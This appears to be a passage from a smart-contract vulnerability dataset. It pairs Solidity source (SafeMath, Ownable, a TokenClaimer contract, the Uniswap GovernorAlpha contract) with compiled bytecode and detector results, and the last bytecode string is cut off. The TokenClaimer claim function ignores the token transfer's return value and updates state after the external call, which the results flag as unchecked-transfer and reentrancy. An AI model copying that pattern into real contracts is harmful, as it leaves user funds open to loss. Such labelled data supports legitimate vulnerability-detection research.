Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/TokenClaimer.sol contract TokenClaimer is Ownable { using SafeMath for uint256; address public blesToken; uint256 public fromBlock; uint256 public toBlock; uint256 public rewardPerBlock; uint256 public totalShares; mapping(address => uint256) public userShares; mapping(address => uint256) public userClaimed; constructor() public {} function setUp(address blesToken_, uint256 fromBlock_, uint256 toBlock_, uint256 rewardPerBlock_) external onlyOwner { blesToken = blesToken_; fromBlock = fromBlock_; toBlock = toBlock_; rewardPerBlock = rewardPerBlock_; } function setUserShares(address who_, uint256 amount_) external onlyOwner { if (amount_ >= userShares[who_]) { totalShares = totalShares.add(amount_.sub(userShares[who_])); } else { totalShares = totalShares.sub(userShares[who_].sub(amount_)); } userShares[who_] = amount_; } function setUserSharesBatch(address[] calldata whoArray_, uint256[] calldata amountArray_) external onlyOwner { require(whoArray_.length == amountArray_.length); uint256 totalTemp = totalShares; for (uint256 i = 0; i < whoArray_.length; ++i) { address who = whoArray_[i]; uint256 amount = amountArray_[i]; if (amount >= userShares[who]) { totalTemp = totalTemp.add(amount.sub(userShares[who])); } else { totalTemp = totalTemp.sub(userShares[who].sub(amount)); } userShares[who] = amount; } totalShares = totalTemp; } function getTotalAmount(address who_) public view returns(uint256) { if (block.number <= fromBlock) { return 0; } uint256 count = block.number > toBlock ? toBlock.sub(fromBlock) : block.number.sub(fromBlock); return rewardPerBlock.mul(count).mul(userShares[who_]).div(totalShares); } function getRemainingAmount(address who_) public view returns(uint256) { return getTotalAmount(who_).sub(userClaimed[who_]); } function claim() external { uint256 amount = getRemainingAmount(msg.sender); IERC20(blesToken).transfer(msg.sender, amount); userClaimed[msg.sender] = userClaimed[msg.sender].add(amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806392aca30b11610097578063de69b3aa11610066578063de69b3aa146102df578063ed6a6d2814610305578063f2fde38b1461030d578063faf7eba61461033357610100565b806392aca30b1461026b5780639700659114610297578063d0c823b21461029f578063d0eb5205146102d757610100565b80634e71d92d116100d35780634e71d92d1461022f578063715018a6146102375780638ae39cac1461023f5780638da5cb5b1461024757610100565b80630a67c716146101055780630e13b9bd146101c95780633a98ef39146102015780633b7fcdca14610209575b600080fd5b6101c76004803603604081101561011b57600080fd5b81019060208101813564010000000081111561013657600080fd5b82018360208201111561014857600080fd5b8035906020019184602083028401116401000000008311171561016a57600080fd5b91939092909160208101903564010000000081111561018857600080fd5b82018360208201111561019a57600080fd5b803590602001918460208302840111640100000000831117156101bc57600080fd5b509092509050610359565b005b6101ef600480360360208110156101df57600080fd5b50356001600160a01b03166104cb565b60408051918252519081900360200190f35b6101ef610555565b6101ef6004803603602081101561021f57600080fd5b50356001600160a01b031661055b565b6101c761056d565b6101c7610628565b6101ef6106d4565b61024f6106da565b604080516001600160a01b039092168252519081900360200190f35b6101c76004803603604081101561028157600080fd5b506001600160a01b0381351690602001356106e9565b6101ef6107f3565b6101c7600480360360808110156102b557600080fd5b506001600160a01b0381351690602081013590604081013590606001356107f9565b61024f61088a565b6101ef600480360360208110156102f557600080fd5b50356001600160a01b0316610899565b6101ef6108ab565b6101c76004803603602081101561032357600080fd5b50356001600160a01b03166108b1565b6101ef6004803603602081101561034957600080fd5b50356001600160a01b03166109b3565b6103616109e5565b6001600160a01b03166103726106da565b6001600160a01b0316146103bb576040805162461bcd60e51b81526020600482018190526024820152600080516020610baf833981519152604482015290519081900360640190fd5b8281146103c757600080fd5b60055460005b848110156104c15760008686838181106103e357fe5b905060200201356001600160a01b03169050600085858481811061040357fe5b90506020020135905060066000836001600160a01b03166001600160a01b0316815260200190815260200160002054811061046e576001600160a01b038216600090815260066020526040902054610467906104609083906109e9565b8590610a46565b935061049f565b6001600160a01b03821660009081526006602052604090205461049c9061049590836109e9565b85906109e9565b93505b6001600160a01b039091166000908152600660205260409020556001016103cd565b5060055550505050565b600060025443116104de57506000610550565b600060035443116104fc576002546104f79043906109e9565b61050b565b60025460035461050b916109e9565b6005546001600160a01b03851660009081526006602052604090205460045492935061054c9261054691906105409086610aa7565b90610aa7565b90610b00565b9150505b919050565b60055481565b60076020526000908152604090205481565b6000610578336109b3565b6001546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b1580156105cf57600080fd5b505af11580156105e3573d6000803e3d6000fd5b505050506040513d60208110156105f957600080fd5b5050336000908152600760205260409020546106159082610a46565b3360009081526007602052604090205550565b6106306109e5565b6001600160a01b03166106416106da565b6001600160a01b03161461068a576040805162461bcd60e51b81526020600482018190526024820152600080516020610baf833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b6000546001600160a01b031690565b6106f16109e5565b6001600160a01b03166107026106da565b6001600160a01b03161461074b576040805162461bcd60e51b81526020600482018190526024820152600080516020610baf833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526006602052604090205481106107a3576001600160a01b03821660009081526006602052604090205461079b906107929083906109e9565b60055490610a46565b6005556107d7565b6001600160a01b0382166000908152600660205260409020546107d3906107ca90836109e9565b600554906109e9565b6005555b6001600160a01b03909116600090815260066020526040902055565b60035481565b6108016109e5565b6001600160a01b03166108126106da565b6001600160a01b03161461085b576040805162461bcd60e51b81526020600482018190526024820152600080516020610baf833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b039590951694909417909355600291909155600355600455565b6001546001600160a01b031681565b60066020526000908152604090205481565b60025481565b6108b96109e5565b6001600160a01b03166108ca6106da565b6001600160a01b031614610913576040805162461bcd60e51b81526020600482018190526024820152600080516020610baf833981519152604482015290519081900360640190fd5b6001600160a01b0381166109585760405162461bcd60e51b8152600401808060200182810382526026815260200180610b686026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600760205260408120546109df906109d9846104cb565b906109e9565b92915050565b3390565b600082821115610a40576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610aa0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600082610ab6575060006109df565b82820282848281610ac357fe5b0414610aa05760405162461bcd60e51b8152600401808060200182810382526021815260200180610b8e6021913960400191505060405180910390fd5b6000808211610b56576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610b5f57fe5b04939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220d8ea70759bafa798de1c479d324c646620f4cf82eb25951c0f44bdab655bd10c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
9,589
0xc4e172459f1e7939d522503b81afaac1014ce6f6
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // Even fish can make waves. contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Uniswap Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 40_000_000e18; } // 4% of Uni /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 2_500_000e18; } // 0.25% of Uni /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks) /// @notice The address of the Uniswap Protocol Timelock TimelockInterface public constant timelock = TimelockInterface(0x1a9C8182C09F50C8318d769245beA52c32BE35BC); /// @notice The address of the Uniswap governance token UniInterface public constant uni = UniInterface(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(uni.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(uni.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function __acceptAdmin() public { timelock.acceptAdmin(); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = uni.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface UniInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101805760003560e01c80634634c61f116100d6578063da95691a1161007f578063e23a9a5211610059578063e23a9a52146103f0578063edc9af951461041d578063fe0d94c11461043257610180565b8063da95691a1461039b578063ddf0b009146103bb578063deaaa7cc146103db57610180565b8063b9a61961116100b0578063b9a619611461034f578063d33219b414610364578063da35c6641461038657610180565b80634634c61f146103055780637bdbe4d014610325578063b58131b01461033a57610180565b806320606b70116101385780633932abb1116101125780633932abb1146102a35780633e4f49e6146102b857806340e58ee5146102e557610180565b806320606b701461024957806324bc1a641461025e578063328dd9821461027357610180565b806306fdde031161016957806306fdde03146101e557806315373e3d1461020757806317977c611461022957610180565b8063013cf08b1461018557806302a251a3146101c3575b600080fd5b34801561019157600080fd5b506101a56101a0366004612669565b610445565b6040516101ba999897969594939291906136bc565b60405180910390f35b3480156101cf57600080fd5b506101d86104ac565b6040516101ba9190613429565b3480156101f157600080fd5b506101fa6104b3565b6040516101ba91906134e5565b34801561021357600080fd5b506102276102223660046126c1565b6104ec565b005b34801561023557600080fd5b506101d86102443660046124e6565b6104fb565b34801561025557600080fd5b506101d861050d565b34801561026a57600080fd5b506101d8610524565b34801561027f57600080fd5b5061029361028e366004612669565b610533565b6040516101ba94939291906133dc565b3480156102af57600080fd5b506101d861080b565b3480156102c457600080fd5b506102d86102d3366004612669565b610810565b6040516101ba91906134d7565b3480156102f157600080fd5b50610227610300366004612669565b6109cb565b34801561031157600080fd5b506102276103203660046126f1565b610cb7565b34801561033157600080fd5b506101d8610e99565b34801561034657600080fd5b506101d8610e9e565b34801561035b57600080fd5b50610227610ead565b34801561037057600080fd5b50610379610f23565b6040516101ba91906134c9565b34801561039257600080fd5b506101d8610f3b565b3480156103a757600080fd5b506101d86103b636600461250c565b610f41565b3480156103c757600080fd5b506102276103d6366004612669565b61144a565b3480156103e757600080fd5b506101d8611739565b3480156103fc57600080fd5b5061041061040b366004612687565b611745565b6040516101ba9190613606565b34801561042957600080fd5b506103796117c6565b610227610440366004612669565b6117de565b60016020819052600091825260409091208054918101546002820154600783015460088401546009850154600a860154600b9096015473ffffffffffffffffffffffffffffffffffffffff9095169593949293919290919060ff8082169161010090041689565b619d805b90565b6040518060400160405280601681526020017f556e697377617020476f7665726e6f7220416c7068610000000000000000000081525081565b6104f7338383611a1e565b5050565b60026020526000908152604090205481565b604051610519906132cd565b604051809103902081565b6a211654585005212800000090565b606080606080600060016000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105c257602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610597575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561061457602002820191906000526020600020905b815481526020019060010190808311610600575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107055760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b50505050508152602001906001019061063c565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107f55760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107e15780601f106107b6576101008083540402835291602001916107e1565b820191906000526020600020905b8154815290600101906020018083116107c457829003601f168201915b50505050508152602001906001019061072c565b5050505090509450945094509450509193509193565b600190565b600081600054101580156108245750600082115b610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613516565b60405180910390fd5b6000828152600160205260409020600b81015460ff16156108885760029150506109c6565b8060070154431161089d5760009150506109c6565b806008015443116108b25760019150506109c6565b80600a015481600901541115806108d357506108cc610524565b8160090154105b156108e25760039150506109c6565b60028101546108f55760049150506109c6565b600b810154610100900460ff16156109115760079150506109c6565b6109b08160020154731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b505afa158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109ab9190810190612616565b611ca6565b42106109c05760069150506109c6565b60059150505b919050565b60006109d682610810565b905060078160078111156109e657fe5b1415610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135d6565b6000828152600160205260409020610a34610e9e565b600180830154731f9840a85d5af5bf1d1762f925bdaddc4201f9849163782d6fe19173ffffffffffffffffffffffffffffffffffffffff1690610a78904390611cec565b6040518363ffffffff1660e01b8152600401610a959291906132fe565b60206040518083038186803b158015610aad57600080fd5b505afa158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ae59190810190612759565b6bffffffffffffffffffffffff1610610b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613576565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c7a57731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610ba557fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610bda57fe5b9060005260206000200154856005018581548110610bf457fe5b90600052602060002001866006018681548110610c0d57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c3c95949392919061339b565b600060405180830381600087803b158015610c5657600080fd5b505af1158015610c6a573d6000803e3d6000fd5b505060019092019150610b5a9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610caa9190613429565b60405180910390a1505050565b6000604051610cc5906132cd565b60408051918290038220828201909152601682527f556e697377617020476f7665726e6f7220416c706861000000000000000000006020909201919091527fa5e0cfcfbed4e8af9bbb6c62a3dcbd52dedb58a723ee69f4d714b41681f2c447610d2c611d2e565b30604051602001610d409493929190613437565b6040516020818303038152906040528051906020012090506000604051610d66906132d8565b604051908190038120610d7f918990899060200161346c565b60405160208183030381529060405280519060200120905060008282604051602001610dac92919061329c565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610de99493929190613494565b6020604051602081039080840390855afa158015610e0b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135b6565b610e8e818a8a611a1e565b505050505050505050565b600a90565b6a021165458500521280000090565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f0957600080fd5b505af1158015610f1d573d6000803e3d6000fd5b50505050565b731a9c8182c09f50c8318d769245bea52c32be35bc81565b60005481565b6000610f4b610e9e565b731f9840a85d5af5bf1d1762f925bdaddc4201f98463782d6fe133610f71436001611cec565b6040518363ffffffff1660e01b8152600401610f8e9291906132e3565b60206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fde9190810190612759565b6bffffffffffffffffffffffff1611611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135a6565b84518651148015611035575083518651145b8015611042575082518651145b611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613566565b85516110b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a